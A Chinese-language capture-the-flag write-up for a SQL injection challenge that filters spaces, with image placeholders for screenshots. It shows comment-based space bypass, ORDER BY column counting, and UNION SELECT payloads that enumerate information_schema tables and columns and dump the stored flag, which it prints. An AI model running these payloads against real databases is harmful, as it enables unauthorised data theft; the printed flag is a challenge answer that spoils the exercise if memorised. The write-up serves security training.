我们尝试输入1

1.png

再输入:1 and 1=1

2.png

题目过滤了空格,我们查看绕过空格过滤的知识点:

3.png

输入:2/**/and/**/1=1#,回显成功。

4.png

确定注入类型

输入表:

输入 输出
1/**/and/**/1=1# 有回显
1/**/and/**/1=2# 无回显

由此观之,是数字型注入。

判断列数

输入:1/**/order/**/by/**/3#,无回显。

5.png

输入:1/**/order/**/by/**/2#,有回显。

6.png

由此观之,列数为 2。

联合查询

1、查询数据库版本号、当前数据库名。

  1. -1/**/union/**/select/**/version(),database()#

7.png

当前数据库为sqli

2、查询数据库中的表。

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

8.png

我们关注qzxnmweefm这张表。

3、查询表的结构。

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='qzxnmweefm'#

9.png

表里只有 1 个字段,叫xgwrnhsyyi

4、查询表里的记录。

-1/**/union/**/select/**/1,group_concat(xgwrnhsyyi)/**/from/**/qzxnmweefm#

10.png

可以得到 Flag:ctfhub{b198a370acdfc539da80a3eb}